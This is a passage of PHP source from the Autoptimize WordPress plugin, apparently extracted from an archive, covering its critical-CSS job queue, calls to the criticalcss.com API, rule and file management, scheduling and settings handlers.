2 ); $apireq['css'] = '/* critical css removed for DEBUG logging purposes */'; $this->criticalcss->log( 'Job response was: ' . json_encode( $apireq ), 3 ); } } elseif ( array_key_exists( 'job', $apireq ) && is_array( $apireq['job'] ) && array_key_exists( 'status', $apireq['job'] ) && ( 'JOB_FAILED' == $apireq['job']['status'] || 'STATUS_JOB_BAD' == $apireq['job']['status'] ) ) { // ERROR: failed job // Update job properties. $jprops['jqstat'] = $apireq['job']['status']; if ( $apireq['job']['error'] ) { $jprops['jrstat'] = $apireq['job']['error']; } else { $jprops['jrstat'] = 'Baby did a bad bad thing'; } $jprops['jvstat'] = 'NONE'; $jprops['jftime'] = microtime( true ); $this->criticalcss->log( 'Job id <' . $jprops['ljid'] . '> result request successful but job FAILED, status now is <' . $jprops['jqstat'] . '>', 3 ); } elseif ( array_key_exists( 'error', $apireq ) && 'This css no longer exists. Please re-generate it.' == $apireq['error'] ) { // ERROR: CSS doesn't exist // Update job properties. $jprops['jqstat'] = 'NO_CSS'; $jprops['jrstat'] = $apireq['error']; $jprops['jvstat'] = 'NONE'; $jprops['jftime'] = microtime( true ); $this->criticalcss->log( 'Job id <' . $jprops['ljid'] . '> result request successful but job FAILED, status now is <' . $jprops['jqstat'] . '>', 3 ); } else { // UNKNOWN: unhandled results exception // Update job properties. $jprops['jqstat'] = 'JOB_UNKNOWN'; $jprops['jrstat'] = 'NONE'; $jprops['jvstat'] = 'NONE'; $jprops['jftime'] = microtime( true ); $this->criticalcss->log( 'Job id <' . $jprops['ljid'] . '> result request has an UNKNOWN condition, status now is <' . $jprops['jqstat'] . '>, check log messages above for more information', 2 ); } // Set queue update flag. $update = true; } // Mark DONE jobs for removal. if ( 'JOB_DONE' == $jprops['jqstat'] ) { $update = true; $deljob = true; } // Persist updated queue object. if ( $update ) { if ( ! $deljob ) { // Update properties of a NEW or PENDING job... $queue[ $path ] = $jprops; } else { // ...or remove the DONE job. unset( $queue[ $path ] ); $this->criticalcss->log( 'Job id <' . $jprops['ljid'] . '> is DONE and was removed from the queue', 3 ); } // Update queue object. $queue_raw = json_encode( $queue ); update_option( 'autoptimize_ccss_queue', $queue_raw, false ); $this->criticalcss->log( 'Queue updated by job id <' . $jprops['ljid'] . '>', 3 ); // Update target rule. if ( $rule_update ) { $this->ao_ccss_rule_update( $jprops['ljid'], $jprops['rtarget'], $jprops['file'], $jprops['hash'] ); $this->criticalcss->log( 'Job id <' . $jprops['ljid'] . '> updated the target rule <' . $jprops['rtarget'] . '>', 3 ); } } else { // Or log no queue action. $this->criticalcss->log( 'Nothing to do on this job', 3 ); } // Break the loop if request time limit is (almost exceeded). if ( time() > $mt ) { $this->criticalcss->log( 'The time limit of ' . $rtimelimit . ' seconds was exceeded, queue control must finish now', 3 ); break; } // Increment job counter. $jc++; } // Remove the lock file and log the queue end. if ( file_exists( AO_CCSS_LOCK ) ) { unlink( AO_CCSS_LOCK ); $this->criticalcss->log( 'Queue control unlocked', 3 ); } $this->criticalcss->log( 'Queue control finished', 3 ); // Log that queue is locked. } else { $this->criticalcss->log( 'Queue is already running, skipping the attempt to run it again', 3 ); } } public function ao_ccss_diff_hashes( $ljid, $hash, $hashes, $rule ) { // Compare job hashes // STEP 1: update job hashes. if ( 1 == count( $hashes ) ) { // Job with a single hash // Set job hash. $hash = $hashes[0]; $this->criticalcss->log( 'Job id <' . $ljid . '> updated with SINGLE hash <' . $hash . '>', 3 ); } else { // Job with multiple hashes // Loop through hashes to concatenate them. $nhash = ''; foreach ( $hashes as $shash ) { $nhash .= $shash; } // Set job hash. $hash = md5( $nhash ); $this->criticalcss->log( 'Job id <' . $ljid . '> updated with a COMPOSITE hash <' . $hash . '>', 3 ); } // STEP 2: compare job to existing jobs to prevent double submission for same type+hash. $queue = $this->criticalcss->get_option( 'queue' ); foreach ( $queue as $queue_item ) { $this->criticalcss->log( 'Comparing <' . $rule . $hash . '> with <' . $queue_item['rtarget'] . $queue_item['hash'] . '>', 3 ); if ( $queue_item['hash'] == $hash && $queue_item['rtarget'] == $rule && in_array( $queue_item['jqstat'], array( 'JOB_QUEUED', 'JOB_ONGOING', 'JOB_DONE' ) ) ) { $this->criticalcss->log( 'Job id <' . $ljid . '> matches the already pending job <' . $queue_item['ljid'] . '>', 3 ); return false; } } // STEP 3: compare job and existing rule (if any) hashes // Attach required arrays. $rules = $this->criticalcss->get_option( 'rules' ); // Prepare rule variables. $trule = explode( '|', $rule ); if ( is_array( $trule ) && ! empty( $trule ) && array_key_exists( $trule[1], $rules[ $trule[0] ] ) ) { $srule = $rules[ $trule[0] ][ $trule[1] ]; } else { $srule = ''; } // If hash is empty, set it to now for a "forced job". if ( empty( $hash ) ) { $hash = 'new'; $this->criticalcss->log( 'Job id <' . $ljid . '> had no hash, assuming forced job so setting hash to new', 3 ); } // Check if a MANUAL rule exist and return false. if ( ! empty( $srule ) && ( 0 == $srule['hash'] && 0 != $srule['file'] ) ) { $this->criticalcss->log( 'Job id <' . $ljid . '> matches the MANUAL rule <' . $trule[0] . '|' . $trule[1] . '>', 3 ); return false; } elseif ( ! empty( $srule ) ) { // Check if an AUTO rule exist. if ( $hash === $srule['hash'] && is_file( AO_CCSS_DIR . $srule['file'] ) && 0 != filesize( AO_CCSS_DIR . $srule['file'] ) ) { // Check if job hash matches rule, if the CCSS file exists said file is not empty and return FALSE is so. $this->criticalcss->log( 'Job id <' . $ljid . '> with hash <' . $hash . '> MATCH the one in rule <' . $trule[0] . '|' . $trule[1] . '>', 3 ); return false; } else { // Or return the new hash if they differ. $this->criticalcss->log( 'Job id <' . $ljid . '> with hash <' . $hash . '> DOES NOT MATCH the one in rule <' . $trule[0] . '|' . $trule[1] . '> or rule\'s CCSS file was invalid.', 3 ); return $hash; } } else { // Return the hash for a job that has no rule yet. $this->criticalcss->log( 'Job id <' . $ljid . '> with hash <' . $hash . '> has no rule yet', 3 ); return $hash; } } public function ao_ccss_api_generate( $path, $debug, $dcode ) { // POST jobs to criticalcss.com and return responses // Get key and key status. $key = $this->criticalcss->get_option( 'key' ); $key_status = $this->criticalcss->get_option( 'keyst' ); $noptimize = $this->criticalcss->get_option( 'noptimize' ); // Prepare full URL to request. $site_host = get_site_url(); $site_path = parse_url( $site_host, PHP_URL_PATH ); if ( ! empty( $site_path ) ) { $site_host = str_replace( $site_path, '', $site_host ); } // Logic to bind to one domain to avoid site clones of sites would // automatically begin spawning requests to criticalcss.com which has // a per domain cost. $domain = $this->criticalcss->get_option( 'domain' ); if ( empty( $domain ) ) { // first request being done, update option to allow future requests are only allowed if from same domain. update_option( 'autoptimize_ccss_domain', str_rot13( $site_host ) ); } elseif ( trim( $domain, '\'"' ) !== 'none' && parse_url( $site_host, PHP_URL_HOST ) !== parse_url( $domain, PHP_URL_HOST ) && apply_filters( 'autoptimize_filter_ccss_bind_domain', true ) ) { // not the same domain, log as error and return without posting to criticalcss.com. $this->criticalcss->log( 'Request for domain ' . $site_host . ' does not match bound domain ' . $domain . ' so not proceeding.', 2 ); return false; } $src_url = $site_host . $path; // Avoid AO optimizations if required by config or avoid lazyload if lazyload is active in AO. if ( ! empty( $noptimize ) ) { $src_url .= '?ao_noptirocket=1'; } elseif ( ( class_exists( 'autoptimizeImages', false ) && autoptimizeImages::should_lazyload_wrapper() ) || apply_filters( 'autoptimize_filter_ccss_enforce_nolazy', false ) ) { $src_url .= '?ao_nolazy=1'; } $src_url = apply_filters( 'autoptimize_filter_ccss_cron_srcurl', $src_url ); if ( true !== autoptimizeUtils::is_local_server( parse_url( $src_url, PHP_URL_HOST ) ) ) { // Initialize request body. $body = array(); $body['url'] = $src_url; $body['aff'] = 1; $body['aocssv'] = AO_CCSS_VER; // Prepare and add viewport size to the body if available. $viewport = $this->criticalcss->viewport(); if ( ! empty( $viewport['w'] ) && ! empty( $viewport['h'] ) ) { $body['width'] = $viewport['w']; $body['height'] = $viewport['h']; } // Prepare and add forceInclude to the body if available. $finclude = $this->criticalcss->get_option( 'finclude' ); $finclude = $this->ao_ccss_finclude( $finclude ); if ( ! empty( $finclude ) ) { $body['forceInclude'] = $finclude; } // Add filter to allow the body array to be altered (e.g. to add customPageHeaders). $body = apply_filters( 'autoptimize_ccss_cron_api_generate_body', $body ); // Body must be json and log it. $body = json_encode( $body, JSON_UNESCAPED_SLASHES ); $this->criticalcss->log( 'criticalcss.com: POST generate request body is ' . $body, 3 ); // Prepare the request. $url = esc_url_raw( AO_CCSS_API . 'generate?aover=' . AO_CCSS_VER ); $args = array( 'headers' => apply_filters( 'autoptimize_ccss_cron_api_generate_headers', array( 'User-Agent' => 'Autoptimize v' . AO_CCSS_VER, 'Content-type' => 'application/json; charset=utf-8', 'Authorization' => 'JWT ' . $key, 'Connection' => 'close', ) ), 'body' => $body, ); // Dispatch the request and store its response code. $req = wp_safe_remote_post( $url, $args ); $code = wp_remote_retrieve_response_code( $req ); $body = json_decode( wp_remote_retrieve_body( $req ), true ); if ( $debug && $dcode ) { // If queue debug is active, change response code. $code = $dcode; } if ( 200 == $code ) { // Response code is OK. // Workaround criticalcss.com non-RESTful reponses. if ( 'JOB_QUEUED' == $body['job']['status'] || 'JOB_ONGOING' == $body['job']['status'] || 'STATUS_JOB_BAD' == $body['job']['status'] ) { // Log successful and return encoded request body. $this->criticalcss->log( 'criticalcss.com: POST generate request for path <' . $src_url . '> replied successfully', 3 ); // This code also means the key is valid, so cache key status for 24h if not already cached. if ( ( ! $key_status || 2 != $key_status ) && $key ) { update_option( 'autoptimize_ccss_keyst', 2 ); $this->criticalcss->log( 'criticalcss.com: API key is valid, updating key status', 3 ); } // Return the request body. return $body; } else { // Log successful requests with invalid reponses. $this->criticalcss->log( 'criticalcss.com: POST generate request for path <' . $src_url . '> replied with code <' . $code . '> and an UNKNOWN error condition, body follows...', 2 ); $this->criticalcss->log( print_r( $body, true ), 2 ); return $body; } } else { // Response code is anything else. // Log failed request with a valid response code and return body. if ( $code ) { $this->criticalcss->log( 'criticalcss.com: POST generate request for path <' . $src_url . '> replied with error code <' . $code . '>, body follows...', 2 ); $this->criticalcss->log( print_r( $body, true ), 2 ); if ( 401 == $code ) { // If request is unauthorized, also clear key status. update_option( 'autoptimize_ccss_keyst', 1 ); $this->criticalcss->log( 'criticalcss.com: API key is invalid, updating key status', 3 ); } // Return the request body. return $body; } else { // Log failed request with no response and return false. $this->criticalcss->log( 'criticalcss.com: POST generate request for path <' . $src_url . '> has no response, this could be a service timeout', 2 ); if ( is_wp_error( $req ) ) { $this->criticalcss->log( $req->get_error_message(), 2 ); } return false; } } } else { // localhost/ private network server, no CCSS possible. $this->criticalcss->log( 'ccss cron: job not created at ccss.com as for local server', 3 ); return false; } } public function ao_ccss_api_results( $jobid, $debug, $dcode ) { // GET jobs from criticalcss.com and return responses // Get key. $key = $this->criticalcss->get_option( 'key' ); // Prepare the request. $url = AO_CCSS_API . 'results?resultId=' . $jobid; $args = array( 'headers' => apply_filters( 'autoptimize_ccss_cron_api_generate_headers', array( 'User-Agent' => 'Autoptimize CriticalCSS Power-Up v' . AO_CCSS_VER, 'Authorization' => 'JWT ' . $key, 'Connection' => 'close', ) ), ); // Dispatch the request and store its response code. $req = wp_safe_remote_get( $url, $args ); $code = wp_remote_retrieve_response_code( $req ); $body = json_decode( wp_remote_retrieve_body( $req ), true ); if ( $debug && $dcode ) { // If queue debug is active, change response code. $code = $dcode; } if ( 200 == $code ) { // Response code is OK. if ( is_array( $body ) && ( array_key_exists( 'status', $body ) || array_key_exists( 'job', $body ) ) && ( 'JOB_QUEUED' == $body['status'] || 'JOB_ONGOING' == $body['status'] || 'JOB_DONE' == $body['status'] || 'JOB_FAILED' == $body['status'] || 'JOB_UNKNOWN' == $body['status'] || 'STATUS_JOB_BAD' == $body['job']['status'] ) ) { // Workaround criticalcss.com non-RESTful reponses // Log successful and return encoded request body. $this->criticalcss->log( 'criticalcss.com: GET results request for remote job id <' . $jobid . '> replied successfully', 3 ); return $body; } elseif ( is_array( $body ) && ( array_key_exists( 'error', $body ) && 'This css no longer exists. Please re-generate it.' == $body['error'] ) ) { // Handle no CSS reply // Log no CSS error and return encoded request body. $this->criticalcss->log( 'criticalcss.com: GET results request for remote job id <' . $jobid . '> replied successfully but the CSS for it does not exist anymore', 3 ); return $body; } else { // Log failed request and return false. $this->criticalcss->log( 'criticalcss.com: GET results request for remote job id <' . $jobid . '> replied with code <' . $code . '> and an UNKNOWN error condition, body follows...', 2 ); $this->criticalcss->log( print_r( $body, true ), 2 ); return false; } } else { // Response code is anything else // Log failed request with a valid response code and return body. if ( $code ) { $this->criticalcss->log( 'criticalcss.com: GET results request for remote job id <' . $jobid . '> replied with error code <' . $code . '>, body follows...', 2 ); $this->criticalcss->log( print_r( $body, true ), 2 ); if ( 401 == $code ) { // If request is unauthorized, also clear key status. update_option( 'autoptimize_ccss_keyst', 1 ); $this->criticalcss->log( 'criticalcss.com: API key is invalid, updating key status', 3 ); } // Return the request body. return $body; } else { // Log failed request with no response and return false. $this->criticalcss->log( 'criticalcss.com: GET results request for remote job id <' . $jobid . '> has no response, this could be a service timeout', 2 ); return false; } } } public function ao_ccss_save_file( $ccss, $target, $review ) { // Save critical CSS into the filesystem and return its filename // Prepare review mark. if ( $review ) { $rmark = '_R'; } else { $rmark = ''; } // Prepare target rule, filename and content. $filename = false; $content = $ccss; if ( $this->criticalcss->check_contents( $content ) ) { // Sanitize content, set filename and try to save file. $file = AO_CCSS_DIR . 'ccss_' . md5( $ccss . $target[1] ) . $rmark . '.css'; $status = file_put_contents( $file, $content, LOCK_EX ); $filename = pathinfo( $file, PATHINFO_BASENAME ); $this->criticalcss->log( 'Critical CSS file for the rule <' . $target[0] . '|' . $target[1] . '> was saved as <' . $filename . '>, size in bytes is <' . $status . '>', 3 ); if ( ! $status ) { // If file has not been saved, reset filename. $this->criticalcss->log( 'Critical CSS file <' . $filename . '> could not be not saved', 2 ); $filename = false; return $filename; } } else { $this->criticalcss->log( 'Critical CSS received did not pass content check', 2 ); return $filename; } // Remove old critical CSS if a previous one existed in the rule and if that file exists in filesystem // Attach required arrays. $rules = $this->criticalcss->get_option( 'rules' ); // Only proceed if the rule already existed. if ( array_key_exists( $target[1], $rules[ $target[0] ] ) ) { $srule = $rules[ $target[0] ][ $target[1] ]; $oldfile = $srule['file']; if ( $oldfile && $oldfile !== $filename ) { $delfile = AO_CCSS_DIR . $oldfile; if ( file_exists( $delfile ) ) { $unlinkst = unlink( $delfile ); if ( $unlinkst ) { $this->criticalcss->log( 'A previous critical CSS file <' . $oldfile . '> was removed for the rule <' . $target[0] . '|' . $target[1] . '>', 3 ); } } } } // Return filename or false. return $filename; } public function ao_ccss_rule_update( $ljid, $srule, $file, $hash ) { // Update or create a rule // Attach required arrays. $rules = $this->criticalcss->get_option( 'rules' ); // Prepare rule variables. $trule = explode( '|', $srule ); if ( array_key_exists( $trule[1], $rules[ $trule[0] ] ) ) { $rule = $rules[ $trule[0] ][ $trule[1] ]; } else { $rule = array(); } $action = false; $rtype = ''; if ( is_array( $rule ) && array_key_exists( 'hash', $rule ) && 0 === $rule['hash'] && array_key_exists( 'file', $rule ) && 0 !== $rule['file'] ) { // manual rule, don't ever overwrite. $action = 'NOT UPDATED'; $rtype = 'MANUAL'; } elseif ( is_array( $rule ) && array_key_exists( 'hash', $rule ) && 0 === $rule['hash'] && array_key_exists( 'file', $rule ) && 0 === $rule['file'] ) { // If this is an user created AUTO rule with no hash and file yet, update its hash and filename // Set rule hash, file and action flag. $rule['hash'] = $hash; $rule['file'] = $file; $action = 'UPDATED'; $rtype = 'AUTO'; } elseif ( is_array( $rule ) && array_key_exists( 'hash', $rule ) && 0 !== $rule['hash'] && ctype_alnum( $rule['hash'] ) ) { // If this is an genuine AUTO rule, update its hash and filename // Set rule hash, file and action flag. $rule['hash'] = $hash; $rule['file'] = $file; $action = 'UPDATED'; $rtype = 'AUTO'; } else { // If rule doesn't exist, create an AUTO rule // AUTO rules were only for types, but will now also work for paths. if ( ( 'types' == $trule[0] || 'paths' == $trule[0] ) && ! empty( $trule[1] ) ) { // Set rule hash and file and action flag. $rule['hash'] = $hash; $rule['file'] = $file; $action = 'CREATED'; $rtype = 'AUTO'; } else { // Log that no rule was created. $this->criticalcss->log( 'Exception, no AUTO rule created', 3 ); } } if ( $action ) { // If a rule creation/update is required, persist updated rules object. $rules[ $trule[0] ][ $trule[1] ] = $rule; $rules_raw = json_encode( $rules ); update_option( 'autoptimize_ccss_rules', $rules_raw ); $this->criticalcss->flush_options(); $this->criticalcss->log( 'Target rule <' . $srule . '> of type <' . $rtype . '> was ' . $action . ' for job id <' . $ljid . '>', 3 ); // and trigger action for whoever needs to be aware. do_action( 'autoptimize_action_ccss_cron_rule_updated', $srule, $file, '' ); } else { $this->criticalcss->log( 'No rule action required', 3 ); } } function ao_ccss_finclude( $finclude_raw ) { // Prepare forceInclude object. if ( ! empty( $finclude_raw ) ) { // If there are any content // Convert raw string into arra and initialize the returning object. $fincludes = explode( ',', $finclude_raw ); $finclude = array(); // Interacts over every rule. $i = 0; foreach ( $fincludes as $include ) { // Trim leading and trailing whitespaces. $include = trim( $include ); if ( substr( $include, 0, 2 ) === '//' ) { // Regex rule // Format value as required. $include = str_replace( '//', '/', $include ); $include = $include . '/i'; // Store regex object. $finclude[ $i ]['type'] = 'RegExp'; $finclude[ $i ]['value'] = $include; } else { // Simple value rule. $finclude[ $i ]['value'] = $include; } $i++; } // Return forceInclude object. return $finclude; } else { // Or just return false if empty. return false; } } public function ao_ccss_cleaning() { // Perform plugin maintenance // Truncate log file >= 1MB . if ( file_exists( AO_CCSS_LOG ) ) { if ( filesize( AO_CCSS_LOG ) >= 1048576 ) { $logfile = fopen( AO_CCSS_LOG, 'w' ); fclose( $logfile ); } } // Remove lock file. if ( file_exists( AO_CCSS_LOCK ) ) { unlink( AO_CCSS_LOCK ); } // Make sure queue processing is scheduled, recreate if not. if ( ! wp_next_scheduled( 'ao_ccss_queue' ) ) { wp_schedule_event( time(), apply_filters( 'ao_ccss_queue_schedule', 'ao_ccss' ), 'ao_ccss_queue' ); } // Queue cleaning. $queue = $this->criticalcss->get_option( 'queue' ); if ( isset( $queue ) && is_array( $queue ) ) { $queue_purge_threshold = 100; $queue_purge_age = 24 * 60 * 60; $queue_length = count( $queue ); $timestamp_yesterday = microtime( true ) - $queue_purge_age; $remove_old_new = false; $queue_altered = false; if ( $queue_length > $queue_purge_threshold ) { $remove_old_new = true; } foreach ( $queue as $path => $job ) { if ( ( $remove_old_new && 'NEW' == $job['jqstat'] && $job['jctime'] < $timestamp_yesterday ) || in_array( $job['jqstat'], array( 'JOB_FAILED', 'STATUS_JOB_BAD', 'NO_CSS', 'NO_RESPONSE' ) ) ) { unset( $queue[ $path ] ); $queue_altered = true; } } // save queue to options! if ( $queue_altered ) { $queue_raw = json_encode( $queue ); update_option( 'autoptimize_ccss_queue', $queue_raw, false ); $this->criticalcss->log( 'Queue cleaning done.', 3 ); } } // re-check key if invalid. $keyst = $this->criticalcss->get_option( 'keyst' ); if ( 1 == $keyst ) { $this->ao_ccss_api_generate( '', '', '' ); } } } plugins/autoptimize-/classes/autoptimizeCriticalCSSBase.php000064400000035445152335264760020243 0ustar00filepath = __FILE__; // Add keychecker action for scheduled use. add_action( 'ao_ccss_keychecker', array( $this, 'ao_ccss_check_key' ) ); } public function setup() { // check if we need to upgrade. $this->check_upgrade(); // add/ remove scheduled jobs. if ( $this->is_api_active() ) { // make sure the 10 minutes cron schedule is added. add_filter( 'cron_schedules', array( $this, 'ao_ccss_interval' ) ); if ( ! wp_next_scheduled( 'ao_ccss_queue' ) ) { // make sure ao_ccss_queue is scheduled OK if an API key is active. wp_schedule_event( time(), apply_filters( 'ao_ccss_queue_schedule', 'ao_ccss' ), 'ao_ccss_queue' ); } if ( ! wp_next_scheduled( 'ao_ccss_maintenance' ) ) { // and schedule maintenance job. wp_schedule_event( time(), 'twicedaily', 'ao_ccss_maintenance' ); } if ( wp_next_scheduled( 'ao_ccss_keychecker' ) ) { // api is active now, no need to check key as it is checked by using the API. wp_clear_scheduled_hook( 'ao_ccss_keychecker' ); } } else { if ( wp_next_scheduled( 'ao_ccss_queue' ) ) { wp_clear_scheduled_hook( 'ao_ccss_queue' ); } if ( wp_next_scheduled( 'ao_ccss_maintenance' ) ) { wp_clear_scheduled_hook( 'ao_ccss_maintenance' ); } // add keychecker logic if api is not active but we have a key so maybe this is a temporary issue, check if key is OK daily. $ao_ccss_key = $this->get_option( 'key' ); if ( ! empty( $ao_ccss_key ) && ! wp_next_scheduled( 'ao_ccss_keychecker' ) ) { wp_schedule_event( time(), 'twicedaily', 'ao_ccss_keychecker' ); } else if ( empty( $ao_ccss_key ) && wp_next_scheduled( 'ao_ccss_keychecker' ) ) { // edge case: we had a inactive key that was checked daily, but it is now removed, so remove keychecker from schedule. wp_clear_scheduled_hook( 'ao_ccss_keychecker' ); } } // check/ create AO_CCSS_DIR. if ( ! file_exists( AO_CCSS_DIR ) ) { $this->create_ao_ccss_dir(); } } public function load_requires() { // Required libs, core is always needed. $this->_core = new autoptimizeCriticalCSSCore(); if ( ( defined( 'WP_CLI' ) || defined( 'DOING_CRON' ) || is_admin() ) && $this->is_api_active() ) { // cron only initiated when doing cron (or wp_cli or is_amdin) and when we have an active API key. $this->_cron = new autoptimizeCriticalCSSCron(); } if ( is_admin() ) { $this->_settings = new autoptimizeCriticalCSSSettings(); } else if ( $this->is_api_active() ) { // enqueuing only done when not wp-admin and when API is active. $this->_enqueue = new autoptimizeCriticalCSSEnqueue(); } } /** * Log a message via CCSS Core object * * @param string $msg Message to log. * @param int $lvl Loglevel. * * @return empty */ public function log( $msg, $lvl ) { return $this->_core->ao_ccss_log( $msg, $lvl ); } /** * Get viewport from CCSS Core object * * @return array */ public function viewport() { return $this->_core->ao_ccss_viewport(); } /** * Check CCSS contents from Core object * * @param string $ccss Critical CSS to be checked. * * @return bool */ public function check_contents( $ccss ) { return $this->_core->ao_ccss_check_contents( $ccss ); } /** * Get key status from Core object * * @param bool $render Indicates if key status is to be rendered. * * @return array */ public function key_status( $render ) { return $this->_core->ao_ccss_key_status( $render ); } /** * Return valid types from core object * * @return array */ public function get_types() { return $this->_core->get_types(); } /** * Run enqueue in CCSS Enqueue object * * @param string $hash Hash (default empty). * @param string $path Path (default empty). * @param string $type (default is_page). */ public function enqueue( $hash = '', $path = '', $type = 'is_page' ) { // Enqueue is sometimes required on wp-admin requests, load it just-in-time. if ( is_null( $this->_enqueue ) && $this->is_api_active() ) { $this->_enqueue = new autoptimizeCriticalCSSEnqueue(); } return $this->_enqueue->ao_ccss_enqueue( $hash, $path, $type ); } /** * Check auto-rules in CCSS Settings object */ public function has_autorules() { return $this->_settings->ao_ccss_has_autorules(); } /** * Get a Critical CSS option * * @param string $name The option name. * * @return mixed */ public function get_option( $name ) { if ( is_null( $this->_options ) ) { $this->fetch_options(); } if ( isset( $this->_options[ $name ] ) ) { return $this->_options[ $name ]; } return null; } public function flush_options() { $this->_options = null; } protected function fetch_options() { if ( ! is_null( $this->_options ) ) { return $this->_options; } $this->_options = array( 'css_defer' => autoptimizeOptionWrapper::get_option( 'autoptimize_css_defer' ), 'css_defer_inline' => autoptimizeOptionWrapper::get_option( 'autoptimize_css_defer_inline' ), 'rules_raw' => get_option( 'autoptimize_ccss_rules', false ), 'additional' => get_option( 'autoptimize_ccss_additional' ), 'queue_raw' => get_option( 'autoptimize_ccss_queue', false ), 'viewport' => get_option( 'autoptimize_ccss_viewport', false ), 'finclude' => get_option( 'autoptimize_ccss_finclude', false ), 'rtimelimit' => get_option( 'autoptimize_ccss_rtimelimit', '30' ), 'noptimize' => get_option( 'autoptimize_ccss_noptimize', false ), 'debug' => get_option( 'autoptimize_ccss_debug', false ), 'key' => apply_filters( 'autoptimize_filter_ccss_key', get_option( 'autoptimize_ccss_key' ) ), 'keyst' => get_option( 'autoptimize_ccss_keyst' ), 'loggedin' => get_option( 'autoptimize_ccss_loggedin', '1' ), 'forcepath' => get_option( 'autoptimize_ccss_forcepath', '1' ), 'servicestatus' => get_option( 'autoptimize_service_availablity' ), 'deferjquery' => get_option( 'autoptimize_ccss_deferjquery', false ), 'domain' => get_option( 'autoptimize_ccss_domain' ), 'unloadccss' => get_option( 'autoptimize_ccss_unloadccss', false ), ); if ( ( strpos( $this->_options['domain'], 'http' ) === false && strpos( $this->_options['domain'], 'uggc' ) === 0 ) || 'abar' === $this->_options['domain'] ) { $this->_options['domain'] = str_rot13( $this->_options['domain'] ); } elseif ( strpos( $this->_options['domain'], 'http' ) !== false ) { // not rot13'ed yet, do so now (goal; avoid migration plugins change the bound domain). update_option( 'autoptimize_ccss_domain', str_rot13( $this->_options['domain'] ) ); } // Setup the rules array. if ( empty( $this->_options['rules_raw'] ) ) { $this->_options['rules'] = array( 'paths' => array(), 'types' => array(), ); } else { $this->_options['rules'] = json_decode( $this->_options['rules_raw'], true ); } // Setup the queue array. if ( empty( $this->_options['queue_raw'] ) ) { $this->_options['queue'] = array(); } else { $this->_options['queue'] = json_decode( $this->_options['queue_raw'], true ); } // Override API key if constant is defined. if ( defined( 'AUTOPTIMIZE_CRITICALCSS_API_KEY' ) ) { $this->_options['key'] = AUTOPTIMIZE_CRITICALCSS_API_KEY; } return $this->_options; } public function on_upgrade() { $key = $this->get_option( 'key' ); // Create the cache directory if it doesn't exist already. if ( ! file_exists( AO_CCSS_DIR ) ) { $this->create_ao_ccss_dir(); } // Create a scheduled event for the queue. if ( $this->is_api_active() && ! wp_next_scheduled( 'ao_ccss_queue' ) ) { wp_schedule_event( time(), apply_filters( 'ao_ccss_queue_schedule', 'ao_ccss' ), 'ao_ccss_queue' ); } // Create a scheduled event for log maintenance. if ( $this->is_api_active() && ! wp_next_scheduled( 'ao_ccss_maintenance' ) ) { wp_schedule_event( time(), 'twicedaily', 'ao_ccss_maintenance' ); } } public function check_upgrade() { $db_version = get_option( 'autoptimize_ccss_version', '' ); if ( AO_CCSS_VER !== $db_version ) { // check schedules & re-schedule if needed. $this->on_upgrade(); // and update db_version. update_option( 'autoptimize_ccss_version', AO_CCSS_VER ); } } public function ao_ccss_interval( $schedules ) { // Let interval be configurable. if ( ! defined( 'AO_CCSS_DEBUG_INTERVAL' ) ) { $intsec = 600; $inttxt = '10 minutes'; } else { $intsec = AO_CCSS_DEBUG_INTERVAL; if ( $intsec >= 120 ) { $inttxt = $intsec / 60 . ' minutes'; } else { $inttxt = $intsec . ' second(s)'; } $this->log( 'Using custom WP-Cron interval of ' . $inttxt, 3 ); } // Attach interval to schedule. $schedules['ao_ccss'] = array( 'interval' => $intsec, // translators: the variable contains a string describing the insterval. 'display' => sprintf( esc_html__( 'Every %s (Autoptimize Crit. CSS)', 'autoptimize' ), $inttxt ), ); return $schedules; } public function create_ao_ccss_dir() { // Make sure dir to write ao_ccss exists and is writable. if ( ! is_dir( AO_CCSS_DIR ) ) { // TODO: use wp_mkdir_p() ? $mkdirresp = @mkdir( AO_CCSS_DIR, 0775, true ); // @codingStandardsIgnoreLine } else { $mkdirresp = true; } // Make sure our index.html is there. if ( ! is_file( AO_CCSS_DIR . 'index.html' ) ) { $fileresp = file_put_contents( AO_CCSS_DIR . 'index.html', 'Generated by Autoptimize' ); } else { $fileresp = true; } if ( true === $fileresp && true === $mkdirresp ) { return true; } else { return false; } } /** * Helper function to determine if there is an active API key. * * @return bool */ public function is_api_active() { // using options instead of more complex $this->key_status (which gave some dependancy issues ... ;-) ). $ao_ccss_key = $this->get_option( 'key' ); $ao_ccss_keyst = $this->get_option( 'keyst' ); if ( ! empty( $ao_ccss_key ) && $ao_ccss_keyst && 2 == $ao_ccss_keyst ) { return true; } return false; } /** * Helper function to determine if a rule is MANUAL. * * @param array $rule Rule to check. * * @return bool */ public function is_rule_manual( $rule ) { if ( is_array( $rule ) && false == $rule['hash'] && false != $rule['file'] ) { return true; } return false; } /** * Scheduled action to check an inactive key. Not part of autoptimizeCriticalCSSCron.php * to allow us to only load the main cron logic if we have an active key to begin with. */ public function ao_ccss_check_key() { $ao_ccss_key = $this->get_option( 'key' ); $_result = $this->_core->ao_ccss_key_validation( $ao_ccss_key ); $_resmsg = ( true === $_result ) ? 'ok' : 'nok'; $this->log( 'Inactive key checked, result was ' . $_resmsg, 3 ); } } plugins/autoptimize-/classes/autoptimizeCriticalCSSSettingsAjax.php000064400000064762152335264760022001 0ustar00criticalcss = autoptimize()->criticalcss(); $this->run(); } public function run() { // add filters. add_action( 'wp_ajax_fetch_critcss', array( $this, 'critcss_fetch_callback' ) ); add_action( 'wp_ajax_save_critcss', array( $this, 'critcss_save_callback' ) ); add_action( 'wp_ajax_rm_critcss', array( $this, 'critcss_rm_callback' ) ); add_action( 'wp_ajax_rm_critcss_all', array( $this, 'critcss_rm_all_callback' ) ); add_action( 'wp_ajax_ao_ccss_export', array( $this, 'ao_ccss_export_callback' ) ); add_action( 'wp_ajax_ao_ccss_import', array( $this, 'ao_ccss_import_callback' ) ); add_action( 'wp_ajax_ao_ccss_queuerunner', array( $this, 'ao_ccss_queuerunner_callback' ) ); add_action( 'wp_ajax_ao_ccss_saverules', array( $this, 'ao_ccss_saverules_callback' ) ); } public function critcss_fetch_callback() { // Ajax handler to obtain a critical CSS file from the filesystem. // Check referer. check_ajax_referer( 'fetch_critcss_nonce', 'critcss_fetch_nonce' ); // Initialize error flag. $error = true; // Allow no content for MANUAL rules (as they may not exist just yet). if ( current_user_can( 'manage_options' ) && empty( $_POST['critcssfile'] ) ) { $content = ''; $error = false; } elseif ( current_user_can( 'manage_options' ) && $this->critcss_check_filename( $_POST['critcssfile'] ) ) { // Or check user permissios and filename. // Set file path and obtain its content. $critcssfile = AO_CCSS_DIR . strip_tags( $_POST['critcssfile'] 